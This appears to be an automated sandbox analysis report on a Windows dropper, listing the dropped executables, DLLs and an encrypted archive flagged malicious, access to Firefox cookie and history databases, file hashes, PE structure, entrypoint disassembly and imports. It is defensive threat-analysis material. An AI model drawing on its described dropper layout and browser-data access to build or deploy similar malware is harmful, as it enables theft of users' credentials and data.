Preview:	[04/23/24 09:38:14] Main : OS Version = osWin10...[04/23/24 09:38:14] CommandLineSwitchExists : Result of check = False. Param Value (if not exact match) = ...[04/23/24 09:38:14] Installer Target URL request = {"IPAddress":"192.168.2.4","Status":1,"Language":"en","OSMinorVersion":0,"OSMajorVersion":10,"ProductId":"5488CB36-BE62-4606-B07B-2EE938868BD1","Is64Bit":true,"ECommId":"11A12794-499E-4FA0-A281-A9A9AA8B2685"}...[04/23/24 09:38:15] Installer target url response = {"Url":"https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe","ProductName":"System Mechanic Standard","Result":0,"ErrorMessage":null}...[04/23/24 09:38:15] DownloadAndLaunchInstaller : Creating BITS download handler...[04/23/24 09:38:15] !&TioloBITSHandler.InitCopyMgr : CreateCOMObject(CLSID_BackgroundCopyManager1_5)..[04/23/24 09:38:20] !&TioloBITSHandler.InitCopyMgr : Copy manager initialized = True...[04/23/24 09:38:20] DownloadAndLaunchInstaller : Target folder ="C:\User

C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336384
Entropy (8bit):	6.453202838334342
Encrypted:	false
SSDEEP:	3072:jjGck+pUZ09BgybSnG+UF5XW1SNYtfvw5ZUDBLL7NVn8yjn5V4d2umdcZyH1IgSw:5k+Zt8PtgSF9VnJrPLdcZGh6hECc
MD5:	65A31455A497CAEE44C5AA749C50E40B
SHA1:	BE39D07704EFB35BD1503B3914C6DD6C9E6312E8
SHA-256:	B94BD24023B0DF0089295B2246546A256D3E82424ECDB0C596B3500525AA4DE0
SHA-512:	8FC8D9308FEDE1F2D6B118B6071CE6ED4F86A7CB2442C4C9A9686B772A83961EDA93C81C2C524396688DD1D7B2540D571811AC13CD38FBB72CCD7F6DD06220F9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........A.lFA.lFA.lFL..FY.lFL..F9.lFL..Fm.lFH..FF.lFA.mF/.lF.y.F@.lFL..F@.lF.y.F@.lFRichA.lF................PE..L....8.e.....................f......E9............@..........................P.......g.......................................Q..P....0..................................8............................G..@............................................text............................... ..`.rdata.. k.......l..................@..@.data........`.......N..............@....rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5e0.1

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3814882
Entropy (8bit):	7.999948439871214
Encrypted:	true
SSDEEP:	98304:Wy/Qp2jWQZ2XQBp5BXXf6w2YvkYsAXc5Y9XYILLnhshb7i:qMbfp5R6w2ukV5YpYIHhs5i
MD5:	6F7665E62C561E7A9CCD58642AB12A57
SHA1:	BA6F7F98ABA8C9911EA6B4D15FB172024BD94F35
SHA-256:	6DA91ECDDAF5C169D55DF838AE9C248E0B32680ED5AFD91C7C8E364251CA356F
SHA-512:	D9879B3EC957E985D8E4AED686459A41AFF71C8CA672FB4E1E2624606A6B97CA81A0EBAA9BDB8C699002736CE3F51B502C8159CF1884A2077FCBD76D469CD471
Malicious:	false
Preview:	PK...........Xh..+-3...Q......groupware.wav......m.VVs.<C...........1..\|e.....4.<..#..H.^5...X=.3.mY./....O.i...@..~..t...J.P.'Y....\l..{0Q.y.s.m.d~..,4k.G.u.....o....%CO.[.8...I>..S.M@k=.~.y9.[...0`.G.}..d......Q.0.@"..1.@L.Y.;..oMFz..oF.Q.R?...'3........N-..Ul..`...\|s..j.^...?.):q..3.D..8a.8j...e.%..N...z..i...)..f.qq.FwF.........b....Z.H0F...A.\N..).......G%.k.7&\._^O.............4nIlf..[.pE..P0.x.....%...a...l.z..2.&.~t(..xB..{j.<._r.4..J.IJ.V....T/z.wq.M....$Mc..h.Z.fpcg..X..L.JXK.^.x.9#x./...T.Be.......T..P].{.....y^nr~..7G.....u..s..H.......q6T.~...O....c.N..}...M>g!4 ....T)R.T.`..i....v...-qg$Y....1d..XF.Z.H.8.]....g.[61....5.T.......sM.~.YW.._...H/.'.Mg..I3.&.s/..$..!.y_..-.t......U...$....v....tr.I..o...a...!..H>...eR.. ...k;v...t_vc!.ud3"..5.(rc.p%..\eY?.....(.......7..C...s.V..2......]zsl.......b....Y...@.....c...3 R.4...0%.!p.e.l..x.8....z..Z..C.......#o..@..).W.bA3..w_,..5..^dI.....9..?^..]K.....^.`..K.=..

C:\Users\user\AppData\Local\Temp\u5e0.2\UIxMarketPlugin.dll

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1640948
Entropy (8bit):	6.4846915881628835
Encrypted:	false
SSDEEP:	49152:/7Q2CH7FiYk7q8wOP2nyh9VgFdJYZL6MsQv4Pvg3KIA8wuSgKacXTT3Kos2lpm:sZH7FZk7LP2nyh9VgFdJYZL6NQgPVIAv
MD5:	AAA68086149EB0A5B76C67E2A687B262
SHA1:	63FCB9226A7D8489FB15F930C081347DDEC58C25
SHA-256:	40E1B9E74963052D04E267185D7C03AC348416363ED2CE6E210A7550A285FF83
SHA-512:	6B5FD86426955DB14793C057E5D6D5BA183262F903DBF307609DA05E6A7B90A90801082844B270C8F7FB65985E67D53BF8C03245C55E62FCDE1B0254921766A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?.e.^.6.^.6.^.6.&K6.^.6.&[6.^.6.^.6.].6.(V6.^.6.(b6[^.6.(c6._.6.(g6.^.6.(S6.^.6.(R6.^.6.(U6.^.6Rich.^.6................PE..L.....kU...........%.........4............................................................@..........................*..........T............................ .........................................@............................................text............................... ..`.rdata..Y;.......<..................@..@.data........0...^..................@....rsrc................p..............@..@.reloc..d.... .......v..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5e0.2\groupware.wav

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	data
Category:	dropped
Size (bytes):	20879
Entropy (8bit):	5.415101076571156
Encrypted:	false
SSDEEP:	384:lhFF7DUQMnBNgCxPE/7tDEZAXMtV3STIxyd3A3lafgfdl6ii04ZQoUXXhnF6b2xg:fBMYqPE/7tDEZAK3STIxnlrn6U4ZhUXK
MD5:	D5678D4602B3CE468646D2338948C242
SHA1:	14C56149D90E1813D09BCE7133ED7ECFEFF93190
SHA-256:	E1CC5788AA05B08839797621DD91B90C5D30F3D4E75535D7E0EE2A171E0DA43D
SHA-512:	6408F4E3736BA3A8D891FC1EB5BEA6F66D100A8F504C5C10F004B9836FCCD058A2F0393D631A665080556E951871B33FC459507EBB0B3EBBFFD928686533783B
Malicious:	false
Preview:	.j.yvH.w....F.....m....^.OL`......c.`..Ldqsp.N.....v...\ae].yH.E.`^..d...m.W.U....L......]q..]hbT.Y.TLNcOP`.r.C.Lv.A...V^Fg.dr.i.^..o.GXp.H......yu...xEIAb.LGn_Y.........gjE[...hkhU..A..Adq.QlsO...`Rt..J]..s..u.j.......[lcxNuN.ZoANK..yth]q..t..DL.A`..Q.`_P...x.\..`..I.G.b.Iml.....MVfq.r[sE.HV..a.h.W.d.[QF.N...P.uaFNBdFj.s.W...x...Y...ZJ..x.u.iCyeyv.QxL.O..j.ckOGE^..xSv...^W].S.k\.en.VIuYfSuS...qu...f....K..]f...._.O.O.o.d...m.OArv...Lq....menEX..d..Qf..\FiRd.L.Vu.t.BJ...u.RR.JekI.PDg..g.H....\k..F..LX.a_.m..Bj.brCBh...v.a....ch.D[...G.....D....j.NaelL.F.^a.a.ur.^.tsN..ZH.Io.N.tr.f.exr.D.SNbHIR....]Jb.D.nlu..B.LnY..jp.n...bpmqb...Kc..y.ut.N._m.G.r.c..y.m..]cF.V.F...sMC.yrv..i....O..IAvn.vn..B.A.w.BDF...]M....b.G.XlB.xar..g.q...N..AU.E.Ox....R..k...vaP...S..sQ.....R[O..I.I.dma.T..S.E.y.a.FG...wOk..Q..\U.]..`..x\Z...ps.J..F.....Qf...Z.Pi.L..P.b.\.Tm.P.R.B.PU..d...k..[iS^.TH^N.hjrwwg._....wL....[.I.rt..g.]x..qh[Y.H.xn.N...A..wRF..W.V....jyU.Du.o...p..vO.m.lOTjk.HW.......L.dO....C..bQ.L..i.

C:\Users\user\AppData\Local\Temp\u5e0.2\macrospore.indd

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	data
Category:	dropped
Size (bytes):	1269602
Entropy (8bit):	7.949519717228937
Encrypted:	false
SSDEEP:	24576:EPE2EyZM2VRKafXwDSLUj18PMfWLzNbSMeP+3WAx4IG7ZVI9gGuse:VWM2McUj1EbS2yI2I9Rc
MD5:	02468E24C430A63747544040B2502567
SHA1:	BFE74B876F1CF6A53AD1DDDCF04B2977BDD6C183
SHA-256:	65AC8810970ABDA86D2257D593A64062F25B1E1BD59267BD53386399D6AF4015
SHA-512:	8DB685C0E8EC15EFC8744A0EDE1C0E7D34E4AAA61FDA152BDB67DBD7A843D8C11126E793BFE628582F13E63658CB09A6A1F78BF9A7FCEFF0E720CCAE5B0E4AC8
Malicious:	false
Preview:	x].Xk.aCtC^a.CF.R..V..J....Anf.KH.Gki.DNGky..........v..qksJ..GI.D..Q...x...ZS.^Q...S\...Dca.a.QRuVi...u.uSum.no.....F.crckK^.h.sMg.n..m.Kr....l.O.G..qBW`.N..U.\N.sYp.E.WSd.s.O.[ZJG..c.p....eME.S.i..].nwP.h..l...f.tg..V.R.......P..j.X..O..K..MZ....NI...\.`O..mm.M.Z..Y.....g.X.S.\s.H.F..m..s..D.wdg.L[v_^pX...Pp....y...W.S.]..q.._...RlDH.H.W...tH.`..J....Tx...J...Yqh...A..[FhwY.^.k...evW_..t_n...hM.v..FHbLADmAxdyX..B.BU..]^V]T...Fi...FxLte..nx.th\.H.rWw...d.q.E\tmB...TqI.w^l..uA.....UJ..n...B.E.....M..S.QBo.iay.`tI.fKL....ef.jl...^..Y.P.y].`....RZ.BRo]t..CS.rM...j..n..L..O[hT.I.C.`yE..Nym..F.ZU.Z.a.A..E..A.N[...SuM].vH[..TX.S.p.v...U.[K.n.l.ZqNcO.I.e...H_Q..HM.PdI.wYa..rxc\Z....X.Pd.l....E...[p.r.....b..^.]W.cJQp..UM.W..m...........v.ygee..UHU...]J.B..c..iAE.Wd.....F.q..w[\X..Oafg..L.V.nxYTwd..t...o_td.^..[_.Mkn`atV...kiVEpJ.uyAm.XKa.O..Yih.OjsBI...GW.e.V..YK.wu.m.gC...W.N..v.x.S.a..\l..l.G..[.LF..NeaAgRX..o.[.X.R.j.t..M^..KbZ.m.....v....MWWd..g..Cc..w...JU......S..p.WbWT..tkN.KHtR.dr..t

C:\Users\user\AppData\Local\Temp\u5e0.2\relay.dll

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1596404
Entropy (8bit):	6.466504791479934
Encrypted:	false
SSDEEP:	49152:h2gm39uH+I5/GxEoadcqX7Q9F7r40YB+eTMq+PDXx1lWz0pd:tmtuH+e/RoadcqX7Qz7rDY8vq+Pbx1lc
MD5:	E2021D931FB1E423C18BF8D16B22228E
SHA1:	9EFB4C88CC7BF296A81B73425D91873B6FB98A9F
SHA-256:	AE8628900FF30D4A7C826137EE817BC7C6FDFBB4B00618E015BCB69A2F19BBB7
SHA-512:	7FDC66C9FA47199FC5D3F2886831ADB67E0241431350AD813DFA0B7E17026477BC2D9C551A1A4E158DEC6204D9E9124E1918954CD630136538CD6E52838B9A43
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S1,..PB..PB..PB.x&.<PB.x&.PB.x&.cQB..(...PB..(.>PB..PC..SB.x&..PB.x&..PB.x&..PB.x&..PB.Rich.PB.........PE..L.....kU...........%.....\...........0.......p......................................1.....@.................................dP..\|....p...............................}..................................@............p..,............................text...6Z.......\.................. ..`.rdata..J....p.......`..............@..@.data...\........Z...t..............@....rsrc........p......................@..@.reloc..6...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2469924
Entropy (8bit):	6.434917890209476
Encrypted:	false
SSDEEP:	49152:Y8UMSn5cV2N9LNwtQ5gRR+moI1axGbYj6QAl4ImDkg7d5lROCDG5yzlC97W+uJUZ:QMS5hN9OtQ5gRjoI8xGbYj6QAl4gg7dQ
MD5:	817EA35F043D663CBA3B81EE02880D34
SHA1:	B6BBF7E8D53EB24FA2BFB7D3FB9410ADBCFFFD50
SHA-256:	18727C065A688F805813AEF0E38CE040AE32DEB6EC87116D70E696BCA5D5DA13
SHA-512:	69BBC00FCFF0A4F0B17E96B72E711052DBFDE4501A29365167FF3C16E70BE14545C7A2FFC32BDC9377A3D1EB74D5D66D89313A9BF5BBCA0B01A557D109F59C11
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........]..<...<...<...D...<...J...<...J).A<...J(..=...D...<...<...?...J,..=...J...<...J...<..Rich.<..........................PE..L... .kU..........................................@..........................0&......&&...@.................................H. ......0"...............%.0 ...."..K...................................C..@...............,..... .@....................text............................... ..`.rdata...=.......>..................@..@.data....-....!....... .............@....rsrc........0".......!.............@..@.reloc...N...."..P...@".............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5e0.3.exe

Download File

Process:	C:\Users\user\Desktop\H6ohQMZygb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4866096
Entropy (8bit):	6.542818068158205
Encrypted:	false
SSDEEP:	49152:1ZRCckM8wwGbtBiRFWSGqCW4FL5wslsAEL1ksS2NHsF3TjZ1I6bqmHC0Jg:1ZRCwrb64XwWsAwFaFXxg
MD5:	397926927BCA55BE4A77839B1C44DE6E
SHA1:	E10F3434EF3021C399DBBA047832F02B3C898DBD
SHA-256:	4F07E1095CC915B2D46EB149D1C3BE14F3F4B4BD2742517265947FD23BDCA5A7
SHA-512:	CF54136B977FC8AF7E8746D78676D0D464362A8CFA2213E392487003B5034562EE802E6911760B98A847BDDD36AD664F32D849AF84D7E208D4648BD97A2FA954
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....X..................5..P......`.5.......5...@...........................J.....`.J..........@............................7..N....<...............J.0(...08.............................. 8......................7.......8......................text...h.5.......5................. ..`.itext..<=....5..>....5............. ..`.data....V....5..X....5.............@....bss.....m...@7...... 7..................idata...N....7..P... 7.............@....didata.......8......p7.............@....tls....@.....8......z7..................rdata....... 8......z7.............@..@.reloc.......08......\|7.............@..B.rsrc.........<.......<.............@..@..............J.......J.............@..@........................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468140287772066
Encrypted:	false
SSDEEP:	6144:cIXfpi67eLPU9skLmb0b4wWSPKaJG8nAgejZMMhA2gX4WABl0uNDdwBCswSb3:hXD94wWlLZMM6YFHh+3
MD5:	ABE152570515B06BFFAC1EB3D44F21C1
SHA1:	3DE3024123FBA5371CE7BF0382242E253C638A1E
SHA-256:	DB324CA2151C05F8287FA424BC0E3F8728722CD089522BFCA86DB7F7BF7F5EEA
SHA-512:	85D16310FD4C10A2631BFAEB8498148229A7929FE073FAC35C3768D09A5A1F54E8AB5615C3D0CBAA68E5791A2D4C58E507E2252CEAB9153879E4EAF0C2645CB6
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm&(M3Q.................................................................................................................................................................................................................................................................................................................................................Z.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.759387671838831
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	H6ohQMZygb.exe
File size:	435'713 bytes
MD5:	12f1dc2d004da9525abe233313a1aa67
SHA1:	7db2c1584fc23fc7845c1112161cf4ece14757e2
SHA256:	75161e2443246e9e3bf1e11921abc074b612417e8ad06e6f937ac0973fca3e92
SHA512:	06e8a76fd99cf4f8e1f3d68555bdcfc0023c1e1da637362ba1325e10d4d5378e071fe4a92c71c534bce8de333216d0036393842180f0209665cb18b1d38fe0fa
SSDEEP:	6144:GcaNDwIY1s01E7t8sP8F8VWuV+Fd9RVTKlnfLnYUCUugGf9Xgf/uI:jaNDwI0sUEejuq9bTKlfDYUCUuXmf/uI
TLSH:	3A94F111B6B0D833E25256708D24C6F8672EBE715F64B1AA7752176F0D303E0F63276A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............T...T...T..ST...T..ET...T..BT...T.).T...T...T...T..LT...T..RT...T..WT...TRich...T................PE..L...)..c...........

File Icon


Icon Hash:	67276767c3570667

Static PE Info

General

Entrypoint:	0x4015b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x63FCAF29 [Mon Feb 27 13:24:57 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	84884247a206fecc344017ef4b7fe181

Entrypoint Preview

Instruction
call 00007FA1B8E0A560h
jmp 00007FA1B8E0683Dh
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FA1B8E069E6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FA1B8E06A10h
test ecx, 00000003h
jne 00007FA1B8E069B1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FA1B8E069AAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FA1B8E069F4h
test ah, ah
je 00007FA1B8E069E6h
test eax, 00FF0000h
je 00007FA1B8E069D5h
test eax, FF000000h
je 00007FA1B8E069C4h
jmp 00007FA1B8E0698Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040C20Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FA1B8E069CEh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5ab5c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x283f000	0xdc71	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a3e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa5ad	0xa600	4b91d4b62e4abdc5d1bbdac67e50c896	False	0.6183170180722891	data	6.564873018224473	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc000	0x4f484	0x4f600	362258b85c98855053d0aa7e503b83b2	False	0.760257750984252	data	6.899922478175323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5c000	0x27e22c8	0x2800	c76711c5c809a409bd58c973d7029c14	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x283f000	0xdc71	0xde00	d257c6880f7d6ebf601f4b4d8b13cea7	False	0.5008094031531531	data	5.262346847908367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
ZURUVUDERU	0x283f670	0x476	ASCII text, with very long lines (1142), with no line terminators	Turkish	Turkey	0.6234676007005254
RT_CURSOR	0x283fae8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4276315789473684
RT_ICON	0x283fc18	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.43097014925373134
RT_ICON	0x2840ac0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5676895306859205
RT_ICON	0x2841368	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6370967741935484
RT_ICON	0x2841a30	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6813583815028902
RT_ICON	0x2841f98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.5215767634854772
RT_ICON	0x2844540	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5926229508196721
RT_ICON	0x2844ec8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.625
RT_ICON	0x2845330	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.43763326226012794
RT_ICON	0x28461d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.5654332129963899
RT_ICON	0x2846a80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.6048387096774194
RT_ICON	0x2847148	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.6654624277456648
RT_ICON	0x28476b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.3882780082987552
RT_ICON	0x2849c58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.41369606003752346
RT_ICON	0x284ad00	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.4372950819672131
RT_ICON	0x284b688	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.4450354609929078
RT_STRING	0x284baf0	0x4e2	data			0.4552
RT_STRING	0x284bfd4	0x3e	data			0.7096774193548387
RT_STRING	0x284c014	0x416	data			0.4598470363288719
RT_STRING	0x284c42c	0xf2	data			0.5743801652892562
RT_STRING	0x284c520	0x156	data			0.5175438596491229
RT_STRING	0x284c678	0x9c	data			0.6025641025641025
RT_ACCELERATOR	0x284c714	0x28	data			1.0
RT_GROUP_CURSOR	0x284c73c	0x14	data			1.15
RT_GROUP_ICON	0x284c750	0x68	data	Turkish	Turkey	0.7115384615384616
RT_GROUP_ICON	0x284c7b8	0x76	data	Turkish	Turkey	0.6779661016949152
RT_VERSION	0x284c830	0x1e0	data			0.5666666666666667
RT_MANIFEST	0x284ca10	0x261	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (549), with CRLF line terminators			0.5451559934318555

Imports

DLL

Import

KERNEL32.dll

GetLocaleInfoA, GetConsoleAliasExesLengthA, GetComputerNameW, GetModuleHandleW, GetConsoleAliasesLengthA, GetDateFormatA, SetCommState, GlobalAlloc, LoadLibraryW, HeapDestroy, FindNextVolumeW, IsBadWritePtr, GlobalUnfix, GetProcAddress, GetProcessHeaps, SetFirmwareEnvironmentVariableW, EnumCalendarInfoA, SetCalendarInfoW, SetConsoleDisplayMode, SetCurrentDirectoryW, WaitForMultipleObjects, GetModuleFileNameA, SetConsoleTitleW, FreeEnvironmentStringsW, BuildCommDCBA, VirtualProtect, GetCurrentDirectoryA, EnumDateFormatsW, FindAtomW, GetFileInformationByHandle, SetFileAttributesW, GetVolumeInformationW, LocalFileTimeToFileTime, LoadLibraryA, GetFileSize, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, GetLastError, HeapFree, EnterCriticalSection, LeaveCriticalSection, Sleep, ExitProcess, WriteFile, GetStdHandle, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, VirtualAlloc, 